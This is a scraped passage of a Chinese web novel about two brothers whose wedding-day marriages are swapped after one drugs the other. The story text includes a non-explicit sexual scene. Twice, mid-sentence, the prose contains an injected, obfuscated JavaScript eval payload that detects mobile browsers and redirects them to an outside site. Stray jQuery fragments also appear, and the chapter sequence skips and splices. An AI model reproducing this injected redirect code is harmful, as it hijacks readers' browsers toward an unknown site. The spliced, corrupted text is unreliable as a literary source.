《换嫁小夫郎》 1. 001 今天腊月初九,宜嫁娶,是梧桐巷赵家嫁哥儿的日子。 一日嫁两子,可有得忙。 清晨,天光熹微,赵家就燃起烛火,开了院门,不多时三三两两的妇人夫郞结伴踏入赵家院子。 邻里邻居的,不管谁家办红事白事,吆喝一声,都早早来帮忙,活儿昨日安排好了,几人领了各自的活儿,说笑着手脚麻利开干。 西厢最后的房间暗着,没有燃灯,赵景清坐在床头,耳边是外面嘈杂的谈笑声,锅碗瓢盆的碰撞声,他静静听着,垂眸看向摆在身旁的嫁衣。 “诶,清哥儿豆腐做愣好吃,李长菊那个黑心肠的,我还以为她怎么着也得留清哥儿在家里多卖几年豆腐,赚够钱了,再找个老鳏夫给打发出去,没想到还有点良心,给他找了个好夫婿。” “你说小声点,我听说那秀才家里穷,上有重病老母,下有年幼弟妹,嫁过去就是伺候一大家子,哪里好了?” “这柴房角落哪个听得见,我们说我们的,那秀才年纪轻轻就有功名了,以后是当官的料,就算做不了官,当个举人老爷也多好的。” “将来的事哪个说得准,你不看看李长菊给她亲哥儿选的夫婿,父母双全身体康健,上头一个出嫁的姑姐,下头只有一个小叔子,半大小子能帮上家里忙。我听李长菊到处炫耀,说是屋头薄有家底,上田三亩中田三亩,都是能出粮食的好田地,下田荒地些有四五亩,老两口是节约惯的,存的银子也不少,这才是实实在在的好。” “自己亲生的娃儿,那肯定是要找个好的。清哥儿是前头留下的,不卖给老鳏夫都是她有良心。” “不说了,快点把菜理好,那边在催了。” “哎呀,要得。” 赵景清无悲无喜,他看向窗外,天灰蒙蒙的快亮了,赵景清准备换上嫁衣,手指解开第一个盘扣,门被人敲响。 “哥,我能进来吗?”是赵景明小心翼翼的声音。 赵景明是后母带来的弟弟,与他只差半岁,赵景清与他关系不睦,赵景明从前没少仗着有娘撑腰,抢他东西,欺负他。 赵景清自是不愿,反抗过争辩过,但有了后娘就有后爹,没有倚仗,七岁的小孩什么也做不了,只能任人欺负。十年下来,他已习惯独自承受,默默舔舐伤口。 可半月前,赵景明染风寒病了几日,身体好了,性子也跟着变了,不再直呼他名字,改口叫哥。 会偷偷给他留包子,用油纸包着,藏在衣服里,拿给他时还是温热的,皮薄且暄软,轻轻一咬,油香的汤汁便入了口,好吃极了。赵景清已经忘记多久没吃过那么好吃的包子了。 起初,赵景明拿给他的东西,他没敢吃,原模原样放着,以防赵景明突然发难,他有口难辨。后来过了好几日,赵景明依然给他送东西,见他不吃,还置气说他不吃便丢掉。 那都是花钱买的,一砖豆腐两文钱,一个包子两文钱,他卖一砖豆腐,只能买一个包子,而且里面有肉,赵景清舍不得,他便吃了。 赵景清等着赵景明发难,没等到,等来得是赵景明喜笑颜开,笑弯了眼,看他吃了东西,就好似自己吃了。 赵景明还同他道歉,神情真挚,“从前是我做得不对,日后我会改,日久见人心,你不要事事将我推拒在外,好吗?” 若说赵景清没触动,那是假的,但他搞不懂赵景明为何会这样,蜗牛般缩在自己壳里,只偶尔探出触角观察,又很快被惊回去。 赵景清扣上盘扣,打开房门让赵景明进屋。 赵景明见屋里黑不溜秋的,“哥你怎么不点灯?” 赵景清话少,“看得见。” “不点便不点吧,哥你到我那屋去,在我屋出门。”赵景清又补了一句,“我们一起出门。” 赵景清看他一眼,又垂下眼,“你娘会说。” “我和她说好了,她不会说……”赵景明抿了抿嘴角,摊开来说,“今儿来得宾客多,你娘那边也有亲戚来,我娘不想面上太难看,让人说闲话,就想着你到我屋去,我们一起。” “哥——”赵景明抓起赵景清的手,柔嫩与粗糙对比鲜明,他拖长了声音,“哥你去我屋里吧,好不好?” 赵景清睫毛颤动,好一会儿才应下,“好。” 赵景明顿时欢天喜地拉起赵景清出门,赵景清道:“慢点,我拿喜服。” “别拿了,我攒了私房钱,替你做了一身新的。”赵景明眨眨眼,邀功道,“想在今天给你一个惊喜。” 赵景清怔了瞬,被赵景明拉出门,带到他房间。赵景明是东厢第二个房间,宽敞明亮,摆设虽老旧了些,但一应俱全,赵景清目光在窗边桌上妆奁顿了会儿,又移开了。 那是当年他娘的嫁妆。 让赵景清坐下,赵景明便准备去取喜服,才迈出步子,门便被人推开了,赵景明吓得差点蹦起来。 李长菊手里端了个瓷碗,装着醪糟小汤圆,还卧了两个鸡蛋,她风风火火走进来,把瓷碗放桌上,“明哥儿,吃些垫垫肚子,今儿可有得折腾。” 说罢,使劲瞪了眼屋里的赵景清,又风风火火离开。 赵景明吐出一口气,借花献佛,将醪糟小汤圆端给赵景清,“哥,你吃。” 赵景清摇摇头,“我不吃,你吃吧。” “我们一起吃,你不吃我也不吃了。”赵景明赌气道,将碗往赵景清面前推了推,“你先吃。” 赵景清只好吃了,他吃了一个蛋,三勺小汤圆,便不再动了。 赵景明取来喜服,让赵景清换上,赵景清手指抚过料子,比他之前的好太多。 “好看,真好看。”赵景明夸赞,视线在赵景清蜡黄的面孔上停留了瞬,又笑着移开。 赵景清指了指桌上瓷碗,“快吃吧,要凉了。” “好,马上就吃。”赵景明应声,理着自己的喜服,待要去吃,却没吃上。 请来为他们开面的老妇人来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779750|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,一通折腾下来,瓷碗中的醪糟小汤圆早已经凉了。 外面热闹起来,快到时辰了,媒婆也来了。 媒婆姓刘,赵景清和赵景明的亲事,都是找她说和,今儿出门,刘媒婆会一路将赵景明送至夫家,这是之前便定好的。 刘媒婆张罗着盖盖头,赵景清一切准备妥当,端坐于长凳上,红盖头落下,目光所及便只有自己手脚那一小寸。 赵景清坐了一会儿,耳边的嘈杂好似蒙上薄纱,与他隔开了一层,听不真切,他轻晃了晃脑袋,头晕目眩更加严重,赵景清忍不住抬手,揉了揉额角。 “哥,你怎么了?”赵景明凑上前关怀,见赵景清不回话,挑开赵景清盖头,担忧道,“你脸色好难看……” 赵景清听不真切,眸色迷蒙,抬眼望向赵景明,只觉他的脸扭曲成怪物模样。 赵景明见状,面上忧心一扫而空,钳住赵景清下巴,仔细打量了会儿,“你倒是命好,可老天爷更偏爱的,是我。” 轻笑一声,赵景明嫌弃地松开手,替赵景明盖上盖头,上面绣了花开并蒂,是赵景明为自己绣的,现在落在了赵景清头上。 炮竹声响起,迎亲的来了,赵景明嘴角扬起志得意满的笑,盖上红盖头,是赵景清之前盖的没有刺绣的红盖头。 刘媒婆推开门进来,看了眼盖头,直奔向赵景清,用了些力气才将他搀扶起来,“紧张啊?别怕,这一路我陪着你呢,我说做什么,你做什么便是。” 没得到回话,刘媒婆也没觉得奇怪,只道是他害羞。 平常人家,结亲的规矩说多不多,说少也不少,赵景清恍恍惚惚间,在刘媒婆的指引下,拜别父母,出了门。 接亲的是一架驴车,给它绑上了喜气洋洋的红布带,赵景清坐在车板上,摇摇晃晃许久,脑子都要摇匀了。 他难受得紧,耳边嗡嗡作响,胸口发闷想吐,却吐不得,四肢似浸泡了冷水,寒意浸入骨髓,冰冷又酸软,赵景清眼前一片眩晕,身体忍不住发颤。 不知过了许久,驴车终于停下,他被一双有力的胳膊搀起来,脚踩到实处,赵景清双腿无力,膝盖一软险些跪倒在地,好在那双胳膊还没松开,赵景清借了力道,站稳了。 另一双手扶过他,扶他向前走。 赵景清跨过火盆,迈过门槛,在堂屋里,在族老的高声唱喝中—— “一拜天地!” “二拜高堂!” “夫妻对拜!” “送入洞房——!” 赵景清又被扶进房间,他坐在床上,耳边是几声模糊不清的叮嘱,再之后,便无任何声音。 寂静中,赵景清觉得身上的难受被无限放大,他捂着胸口,苍白的脸颊上,冷汗簌簌而下。他想喊人,喉咙堵着似的,发不出声。 在盖头的遮挡下,偶尔进出的人,未发现任何异常。 直到送走宾客,今日娶亲的郎君踏入房门,挑开赵景清的盖头。 2. 002 袁牧手里捏着红盖头,看清新夫郞的面容,怔愣在原地。 赵景清眼前光线变化,他艰难抬头望去,眸色呆滞迷蒙,定定看了许久才认清挑开盖头的人。 身形高大魁梧,面容粗犷,是、是袁牧。 他远远看见过他,是后母为弟弟挑选的夫婿。 ……挑开盖头的怎会是他? 霎那间,赵景清苍白的冒着冷汗的面孔变得越发难看,面如金纸,他如坠冰窖,脑子里一团乱麻,不知作何反应。 袁牧见状,放下盖头,转身大步走出房门,不多时身后跟了三个人折返回来,你一言我一语的说着什么。 赵景清听不真切,耳边总是隔了一层,他能看出来,几人脸色和情绪都不好,放在身侧的手攥紧了拳头,微微刺痛,叫他神思清明些许,却无法将他从无边的溺毙之感中带出。 进来的年轻女人说了两句,便上前看赵景清的情况,落在额头上的手干燥且温热,赵景清晕乎乎地看着她,她转身离开,很快拧了张帕子回来,擦掉他满脸冷汗。 几人又说了几句,留下年轻女人和妇人,都出门了。 女人嘴巴张张合合,赵景清尽力去听,断断续续听见她的声音说:“我是袁牧的姐姐袁月,你别害怕……许是接亲太匆忙,将你和景明弄错了,袁牧去拉板车了,等会儿我们兵分两路,一路去通知亲家,一路去村里裴西安家……你别担心会将你送去……” 袁月又抬头对妇人道:“娘,他样子不对劲,身上冷得吓人。” 袁母多吃过的盐比袁月吃过的米还多,看了眼浑浑噩噩的赵景清,心知此事不简单,她愁眉不展,“搬床棉被铺板车上,别颠着他,星哥儿去请七叔公,迟些时候到裴家了,给他把脉瞅瞅。” 外头一声吆喝,袁月给赵景清重新盖上盖头,将赵景清扶出房门,袁母抱了床棉被出来铺在驴车车板上,安置好赵景清。 袁牧牵着驴车,车板上是赵景清,两旁是袁月和袁母,后边是同族叔伯兄弟,一行二十余人风风火火朝村子最里头走去,裴家在村子最里头山脚下。 这动静可大,惊动不少人,村里头沾亲带故,随便叫个人问一句,便知晓事情始末,不少人跟着要去看热闹。 很快,一行人抵达裴家。 裴家宾客已经走光,院里是没收拾完的桌子板凳和食物残骸,有个瘦弱的小哥儿在收拾。 是裴家幺子,袁母上前问:“小树儿,你家大哥呢,新夫郞送嫁送错了,我们给送过来。” 小树儿吓了一跳,转身见院门口人头攒动,抠着扫把,声如蚊蝇,“在、在屋里。” 袁母几人对视一眼,面色不太好看。 不待她再说话,堂屋里走出个干巴瘦小的妇人,脸上两条法令纹尤其显眼,“林翠娥,你儿子娶夫郞,晚上不在家抱夫郞,一大群人跑我这儿来做啥,可吓死我。” 袁母,也就是林翠娥,没管她的恶语相向,眼下最重要的是将事情解决了,林翠娥好声好气将事情头尾给她说清楚,“我们两家把人换回来吧,这事儿就揭过了。” 裴母闻言,叉腰啐了口,“洞房都入了,我儿子不至于自己夫郞都认不出来,你要找事儿直说,不用大喜日子来找晦气!” 入洞房了?林翠娥急道:“可、可是……” 袁牧上前一步,沉着脸,“裴西安人呢,叫他出来。” 裴母嗤笑:“你喊叫就叫,你谁?” …… 外头吵吵嚷嚷,赵景明听见动静,知道是袁家发现娶进门的夫郞不是他,找来了。 赵景明趴伏在枕头上,裴西安在他身后,棉被盖在两人交叠的身躯上,一耸一耸的。 生米已煮成熟饭,赵景明不怕裴西安被赵景清抢回去。 “你……”赵景明扭头向后看,挣扎起来,“你、你不是袁牧?” 他声音带了哭腔,“你放开我!放开我……” 裴西安停下,赵景明当即卷了棉被,抱着腿直哭。 屋里黑灯瞎火,眼睛适应了黑暗,裴西安隐隐约约能看见赵景明秀气的面庞哭得梨花带雨,安抚承诺道:“都是我的错,我会对你负责,你别怕,我出去与他们解释。” 赵景明一言不发,只是哭。 裴西安穿上衣服,出了门,赵景明看向他离开的背影,红彤彤的双眸里闪过笑意。 有文采,亦有担当,上辈子便宜赵景清了。 思及上辈子,赵景明满脸怨怼,上辈子他听娘的话,嫁给袁牧,新婚当晚便闹得极不愉快,连洞房都没入成,袁牧心里有气,还躲着他,第二日就借口说冬日里动物皮毛厚,要在大雪封山前进山打猎,攒钱过年。谁知他会在深山摔断腿,瘸着腿四五日才出来,拖得时间久了,伤腿还受了冻,花了不少银子,连田地都卖了,耗干了家底,腿也没治好,成了个跛子。 家里没田地,袁牧腿瘸了赚不来钱,上头还有两个老不死的,家里都快揭不开锅了,成日里饥一顿饱一顿。 还连累他出门还得听人指点笑话,赵景明本就不喜他,如今更是横挑鼻子竖挑眼,嫌恶得不行。 而赵景清嫁给裴西安,夫夫恩爱,赵景清抛头露面卖豆腐,裴西安不以为耻还日日接送,并肩而行言笑晏晏,五年后,裴西安一举中第,当上大官,举家搬迁赴任,赵景清摇身一变成为官夫人。 多年后再见,赵景清从马车上下来,穿得是绫罗绸缎,戴得是金银玉石,出入皆是下人伺候,养尊处优,未经风霜,容貌依旧动人。 而他,与普通村夫没甚两样,被困苦的生活压弯了脊背,手掌干燥粗糙,指缝里是洗不干净的泥。 赵景明气得不行,妒得连眼睛都要滴血了,好在老天垂怜,给了他重新选择的机会,这一次,他要嫁给裴西安。 他要当官夫人,享福的该是他才对。 裴西安出去,屋外又吵嚷开了,赵景明从回忆中抽离,竖起耳朵听。 “娘,别说了。”裴西安喝 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“一,为啥会接错亲;二,我家聘礼是给赵景明的,既要换亲,聘礼得重新论。”袁牧道,他家给聘礼是让他娶赵景明,不是让裴西安娶赵景明,没道理夫郞换了,钱得他家出。 他话音方落,裴母不干了,嚷嚷开来,“聘礼又不是我收的,谁收的你找谁去!” 她可听说了,李长菊嫁赵景明,从相看开始到成婚,前前后后收了袁家约有五两银子,裴家哪有这钱。 袁牧拧眉,没理会裴母,对裴西安道:“我们一桩桩一件件说清楚,立字据盖手印。” 裴西安拉住要说话的裴母,颔首道:“这是自然。” “接亲时,是刘媒婆将人带出来,送上你驴车,可以请刘媒婆来问清楚。”裴西安提出建议。 袁牧也是这个想法,“已经叫人去请了。” 裴西安继续道:“至于聘礼钱,我娘话说得不好听,但也没错,景明的聘礼是赵家收的,应当找他家要,我家需要补的差额,也该补给赵家,你说是也不是?” 袁牧点点头,“是。” 两人商量着,后面看热闹的吵嚷起来,“刘媒婆来了!” 人群让开一条道,刘媒婆挤进来,气喘吁吁,寒冬腊月里跑出一头热汗,“哎哟喂这算啥事,咋会搞错夫郞?” 刘媒婆气都没空喘匀,“我盖盖头是盖对的啊,赵景清是块红帕子没绣花,我亲自盖的。赵景明那块上绣了花开并蒂,我仔细看过,差别愣大,我哪可能搞错。问题肯定是出在赵家,他们两人换盖头了!” 这事儿可不能是她的问题,她吃这碗饭的,新夫郞给人送错了,传出去她多年的口碑完了,谁还请她做媒。 刘媒婆道:“让他们兄弟两个面对面说清楚,到底是咋回事!” “你个老虔婆,嘴皮子上下一碰就乱说话,污蔑我赵家名声,送错亲我没找你算账,你还先倒打一耙,脸皮子愣厚,我话放这儿,今儿个事情不扯清楚,谁也别想走!”李长菊尖利的声音穿透人群,从最后面传来。 4. 004 林翠娥扶赵景清进屋坐下,拉着他手缓缓道:“景清,以后你就是我们袁家的夫郞,之前和裴家议亲的事儿都抛到脑后,就当没发生过,和袁牧好好过日子。袁牧就是看着凶,不打人,性子不错,你和他多处处便知。” 赵景清抬眼看向她,点了点头。 “别嫌袁牧硬要把聘礼要回来,他就是气不过,没有我们家出钱给别人娶夫郞的理。等钱要回来,你们小两口自己收着,缺什么自个儿添。”林翠娥怕赵景清心存芥蒂,掰碎了给他讲。 “嗯。”赵景清隔了会儿道,“我明白的。” “好孩子。”林翠娥嘴角带笑,拍了拍赵景清的手,不过十七岁的小哥儿,掌心指腹全是茧子,手背是冻裂的冰口,一看就没少干活。 林翠娥是有姑娘和小哥儿的人,活要干,却从不舍得那么使唤,双手养得白净,思及赵景清亲娘早逝,继母又是那样的性子,心口顿时一阵酸软。 “折腾一天累了吧,等会吃了饭早点睡,星哥儿去七叔公那取药了,煎好药我喊你起来喝,等明儿起来身子就畅快了。”林翠娥没说赵家的不好,起身出门,很快端了两个碗进来,“快些吃吧。” 一碗是白米饭,一碗是菜,最上面是两片三线做的扣肉,光泽油润,是赵景明极尽讨好也舍不得给的好肉。饭菜香诱人,赵景清空落落的肚子咕噜噜两声,他端起碗,又忐忑地望向林翠娥。 林翠娥笑容温和,“快吃吧,特意给你留的。” 赵景清嗯了声,埋头吃饭,他饿狠了吃得快,吃相却不难看,很快便将饭菜一扫而空。赵景清把碗摞一起,这才后知后觉想起来,“您、您吃了吗?” “前头垫了肚子,还不饿,我等会儿吃。”林翠娥端起碗,出了门,不一会儿又端了盆热水进来,“洗洗早点睡,他爹和月儿在收拾院子,我去搭把手。” “嗯,”赵景清沉默了会儿又道,“谢、谢谢……娘。” 林翠娥笑着,“诶!” 赵景清身上酸软,吃饱了饭,有了点力气,他拧帕子洗脸,目光落在面盆旁半个巴掌大的小陶罐上,小陶罐没有盖子,能看到白花花的猪油。 赵景清又看了眼自己的手,酸涩萦上心头,红了眼眶。 擦洗干净,赵景清端盆出去倒水,林翠娥瞧见,几步上前接了盆,让他回屋休息。 赵景清回了屋,小心翼翼挖了点猪油,均匀地抹在手背,有了猪油的滋润,时刻彰显存在感的冰口好受许多。 将床上的枣子花生桂圆收起来,赵景清躺上床,手放在被子外,仔细着不蹭被子上。 被窝软绵绵的,有棉花和被面浆洗的味道,赵景清身子很快暖和起来。被暖意包裹,赵景清迷迷糊糊睡着,睡得却不安稳,他将自己蜷成一团,眉心隆起,梦中是光怪陆离走马观花的景象,他是置身其中的过客。 轻微的说话声响起,随后是门被推开的吱呀响声,赵景清从睡梦中挣脱,睁开双目,撞入眼帘的是一个高大的身影。 赵景清愣了会儿,坐起来拘谨道:“你、你回来了。” “嗯。”袁牧手里端着药,“把药喝了。” 赵景清接过,药碗温热,浓郁的药味钻入鼻腔,他屏气一口闷下,眉眼不自觉皱紧。喝完后,赵景清拿着碗欲下床,一只大手伸至他身前。 “给我。”袁牧说。 赵景清看向他,短暂沉默后将药碗递给他。 袁牧拿着碗出去,再回来时身上带着水汽,他吹了灯掀开被子上床。 新婚之夜,赵景清知道要做什么,他攥紧了掌心的衣服,紧张与害怕交织,身躯僵硬。 袁牧却只是躺下,“累了一天,睡吧,有什么事儿明天再说。” 赵景清轻轻嗯了声,不知躺了许久才睡过去。 次日清晨,鸡鸣狗吠,赵景清睁开眼,身旁已经没了袁牧的身影,赵景清坐起来下床,他身上有了力气,虽仍有不适,但不似昨日那般走路都得人扶着借力。 桌上放着个包袱,包布赵景清认得,是他的,里面是他的衣服和常用的东西。他东西少得可怜,冬衣只有两件,一件干活穿,一件出门穿,赵景清取出后者穿上,梳好头发出门。 天方亮灰蒙蒙的,地上打了霜,不远处萦绕着白雾,冷冽的寒风吹在身上,赵景清打了个哆嗦,环顾四周认准厨房所在,径直走过去。 厨房里弥漫着药味,灶堂后有个黑黝黝的头顶晃动,听见声音抬起头来,是袁牧。 目光相触,赵景清步子一顿,袁牧率先开口,“起那么早,不多睡会儿?” “醒了睡不着,”赵景清道,在赵家天不亮就要起来做豆腐,还要把早饭做了,他早已经习惯早早起床,今日还算晚的,赵景清扣着手指,“我来做饭吧。” 袁牧本想拒绝,瞅见他没有血色的脸,单薄的衣裳,改口道:“……来帮我烧火。” 他把位置让出来,叫赵景清坐下。 火已经生好,灶堂前暖融融的,火光烘烤在赵景清脸上,暖色的光芒衬得他脸色不那么苍白,多了抹血色,火焰摇曳明明暗暗,显出他俊秀的容貌。 袁牧想,就是太瘦了,养好身体定会更好看。 意识到所想,袁牧不甚自在地移开目光,清了清嗓子询问:“身子好些没?” 赵景清抬起头,“好多了。” 袁牧:“还有两幅药,喝完应当就能好全。” “嗯。”赵景清塞了根柴进灶堂,嘴角微动,欲言又止。 袁牧接着道:“昨晚去你家把聘礼都搬回来了,银子也拿回来了。昨天说聘礼另给,我是这么琢磨的,桌椅板凳是新的,咱们不重新打了,二两银子给你压箱底,再给你添两身衣裳,两双鞋,怎么样?” 赵景清迟疑了会儿,“昨儿我爹说用过不能退的当我聘礼……” “他认我可不认,我娶夫郎哪能这么寒酸,又不是拿不出来,”袁牧掀起眼皮子飞快看了赵景清一眼,手拿锅铲搅着锅里沸腾翻滚的米粒,“我乐意给你,你拿着便是。” 赵景清双眸中闪烁着跃动的火光,点了点头,“嗯。” 袁牧沥了一盆米汤,米饭放入甑子蒸上。 两人相对无言,厨房内只有柴火燃烧的噼啪声,就在此时,林翠娥的声音传来。 “袁牧,起恁早做饭啊,”她一边说话一边迈入厨房,“去捉只老母鸡杀了,捉那只屁股毛秃的,炖了给景清补补身子,你瞅他瘦的。” 鸡屁股是农家的小钱庄,寻常是舍不得杀的,即便袁家过得比大多村里人都好,也是如此,林翠娥叫杀的那只不咋下蛋,不下蛋还要吃东西,干脆杀了。 “好。”袁牧应声,下巴微抬往灶膛后示意。 赵景清站起来,“娘。” 林翠娥神情僵了瞬,扬起笑来,问他咋起那么早,身子有没有好些,赵景清都一一回了。 林翠娥道:“现在农闲,没啥子事多睡会儿,忙起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779753|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来想睡都没得睡。” 赵景清点点头应是,林翠娥见他穿得单薄,颜色也老气,抬手要捏他衣裳薄厚,就见赵景清瑟缩拢紧肩膀。 在场三人俱是一愣。 疼痛没有到来,赵景清这才反应过来,扯了扯嘴角却不知道说什么。 林翠娥好似啥也没发生,只上手捏了捏他衣裳,棉花的手感几乎没有,林翠娥皱眉,“你穿这身?冷不冷?” “嗯……不冷。”赵景清睫毛颤动,垂下眼。 林翠娥心里暗暗叹气,昨儿赵父和李长菊穿得可厚实,赵景明当继哥儿的穿得也好,亲哥儿却是这般待遇。昨儿李长菊当着大家伙的面,当着亲爹的面,都能对景清非打即骂,在家里过得是什么日子可想而知。 林翠娥不落忍,她出去一趟,再回来手里拿了一件坎肩,水绿的颜色,滚了白色毛边,瞧着就厚实,林翠娥道:“景清,试试能不能穿上。” 赵景清手足无措,袁牧道:“快试试。” 赵景清这才上前,把坎肩套上,厚实的坎肩贴在前胸后背,凉飕飕的后背顿时暖和起来,穿着长短刚好。 “好看,穿着吧。”林翠娥拍拍他的背,扭头去挑昨儿办酒席剩下的菜,热热早上下饭吃。 赵景清仍旧烧火,坐在灶膛后,他小心翼翼怕衣裳沾上灰,宝贝得不行,心里又酸又胀,娘去了后他便没穿过新衣,捡赵景明不要的,捡李长菊不要的,穿了几年的冬衣,里头缝制的棉花铁似的,又冷又硬。 他捏捏衣角,又摸摸滚的毛边,嘴角勾起小小的弧度,喜悦之情溢于言表。 林翠娥热好菜喊吃饭,袁牧提溜着杀好脱了毛的老母鸡进来。 赵景清端碗拿筷,看着林翠娥风风火火的背影,又看看提着鸡的袁牧,他想,他们真好。 袁父坐房檐下台阶上抽叶子烟,被林翠娥骂了句,讪讪放好烟杆子,起身进屋。 袁星迷迷瞪瞪从屋里出来,瞧见赵景清笑眯眯喊人,“景清哥哥。” 他绕着赵景清转圈看,“我这件坎肩你穿着刚好。” 赵景清知道他是林翠娥挂在嘴边的星儿,闻言有些无措,他不知道衣裳是拿袁星的,坎肩一看就是新的,他才进门就占了人新衣裳,“我、我脱下还你……” “啊?”袁星摆手,“你穿着吧,娘说要给我做新衣。” 他往堂屋里瞧了眼,见他娘没看着外面,压低声音抱怨道:“娘说我正长个子,衣裳要做大些,可我穿着也太大了,一点也不好看,你穿着好看。景清哥哥,等娘给我做衣裳,你劝娘给我做合身些吧。” 赵景清为能穿新衣高兴,可他也不知道自己能不能劝林翠娥,袁星眼巴巴望着他,新衣裳都给他了,赵景清也想为他做点什么,“我、我试试。” 袁星挽住他胳膊直蹦跶,“哥哥真好!” 林翠娥在堂屋里喊,“吃饭!” 袁星拉着赵景清进屋,“我要挨着哥哥坐!” 直到坐下拿起筷子,赵景清还有几分恍惚,他也能上桌吃。 早上吃的是稀饭,半碗米半碗汤,热腾腾的冒着热气,昨日办酒席剩下不少菜,饭桌上有肉,菜也有两个,还有一碟泡萝卜,丰盛得很。 林翠娥道:“景清快吃,吃完把药喝了。” 赵景清点点头,“嗯。” 袁家没有食不言的规矩,袁牧吃了个半饱,舀饭间隙开口道:“爹娘,我想在大雪封山前再进一次山。” 5. 005 林翠娥放下筷子,不支持道:“山里冷,别去了吧。” 袁牧回来坐下,不着急吃,“前头攒了几张兔子皮,我想再去抓几只,鞣制了一起卖,能做个斗篷,价格比单卖贵。” 赵景清从碗里抬头,眸子转向袁牧。 袁父道:“要去就去,当心些,早点回来。” 袁牧应声,林翠娥瞅他们父子一眼,拿起筷子吃饭。 用完早饭,赵景清收碗拿去厨房,要去舀水洗碗。 轻省的活计,林翠娥就让他做了,见赵景清拿水瓢舀冷水,林翠娥喊住他,“锅里温着一大锅水,舀热水洗。” 赵景清嗯了声,神情有些许受宠若惊。 林翠娥暗暗叹气,不知道赵家怎么磋磨他的,下次去镇上得打听一下,心里琢磨着,林翠娥舀面粉包谷粉掺一起,准备和面烙饼,袁牧要进山,她得给准备些干粮。 赵景清洗好碗擦干手,林翠娥面已经和好,掐成一个个小剂子,要开始烙饼了,赵景清坐到灶膛后,开始烧火。 见他乖觉,林翠娥心里满意又喜爱,手上麻利的把饼子贴锅边,不一会儿焦香味就逸了出来。 袁牧站在厨房门口,“娘,又烙包谷饼啊。” 林翠娥瞥他一眼,对他要进山还是有气的,不想理会他。 袁牧摸摸鼻子,越过灶台能看见后面赵景清的脑袋,“景清,跟我回屋。” 赵景清看向他,手里抓着火钳,又看向林翠娥。 林翠娥道:“去吧,我喊星儿来烧火。” 赵景清站起来,走出厨房,跟在袁牧身后回房,关上门,赵景清绞着手指忐忑地看向袁牧,不知他叫自己做什么。 袁牧拿了个麻色的荷包递给他,“给你的聘礼。” 赵景清看了看荷包,又看向袁牧,一时迟疑没上前。 袁牧把荷包塞赵景清手里,心道景清胆小,不过在赵家李长菊张口就骂抬手就打,胆子能大才有鬼,现在到袁家来了,自然不会亏待他,慢慢就能养好,袁牧道:“你自个收好,想买什么想吃什么自己买,爹娘性子都好,有事找他们,星儿是个闹麻雀,你身子不好别跟着他闹。我过几日就回来,最多五日,不耽误陪你回门。” 三朝回门,十里不同俗,他们这边是新媳妇、新夫郎成亲第六天回门。娶亲两家闹得难看,要他说不回门也成,可闹得再难看,只要没断绝关系,孝字压头顶上,该守的规矩得守。 赵景清捏着荷包,粗糙布料下是硬疙瘩和铜板的手感,二两银子拿在手上,轻飘飘的,又沉甸甸的,他在赵家做豆腐卖了五年,银子没少赚,却从来没有一个铜板是落他手里,赵景清心里酸涩,眼睛水汪汪的,他点点头,“嗯。” 赵景清抿了抿嘴角,迟疑道:“听说山里危险,你当心些,早、早些回来。” 声如蚊蝇,袁牧仍然听见了,他应声,“好,你药还没喝吧,去把药喝了。” 赵景清颔首,把荷包放在枕头下,推门出去,进到厨房去,端起火炉上的药罐子倒药喝,苦得眉头紧蹙许久也没放松。 袁星掏出一小块饴糖,“景清哥哥,给你吃。” 甜滋滋的味道驱散口腔中苦涩的滋味,赵景清道:“谢谢。” 林翠娥烙好包谷饼,又炒了份酸菜,用油纸包好装了个小包袱,赵景清和袁星一起灌了两水囊的冷开水,山上的水吃了容易生病,上山最好自己带烧好的水。 准备好,林翠娥又清点了一遍,把包袱拢紧交给赵景清拿着。 院子里响起狗吠声,赵景清跟着林翠娥走出去,见袁牧已经准备好了,背上背着箭囊,腰间别着一把砍刀一把弯刀,两只黑黢黢的大狗趴他脚边,他身形又高大,瞧着便令人生怖。 嗅到陌生的气息,大狗站起来,对着赵景清猛吠。 赵景清骇然,往后退了两步。 “去去去,别叫。”袁牧一只狗给了一脚,力气不大,但两只狗立马委屈的呜呜叫。 林翠娥到底心中担忧更盛,絮絮叨叨没完,“进山当心……天色变了就回来,别进深山……” 最后示意赵景清递上包袱,赵景清握着包袱,不安地看向两条凶猛的大狗,抿着嘴挪到袁牧身旁,将包袱递给他。 袁牧接过跨在肩上,“别怕,它们记住你味道了,不会咬你。” 赵景清点点头,但看着两只人立起来比他还高的狗,仍然害怕。 袁牧走了,林翠娥看了会儿他的背影,回头安排家里活计,“星儿把地扫了,景清去捡鸡蛋。” 袁星去拿扫把扫地,赵景清拿了篮子往屋后走,屋后搭了鸡圈和猪圈,臭烘烘的,但和前头院子隔开了,算是干净讲究的。 赵景清跨进鸡圈,捡了鸡蛋轻轻放入篮子里,数一数有十二个蛋,赵景清又数了数鸡,有十五只,真多啊。 隔壁猪圈有三只猪,养得白白胖胖。 在赵景清看来,袁家十分殷实,家里人也好相处,可不知赵景明为什么不愿意嫁入袁家,宁可给他下药换嫁。 赵景清看了会儿猪,把装鸡蛋的篮子放一旁,拿铲子把鸡圈收拾了,鸡屎堆在旁边的破篓子里,攒多了能堆肥。 他身子还虚着,做得慢,好一会儿才收拾干净,回到前院。 袁星扫完地在厨房烧火,林翠娥剁了猪草在煮,赵景清提着篮子问:“娘,鸡蛋放哪?” 林翠娥指了个背篓,“放那儿,放满了垫一层草隔开。” 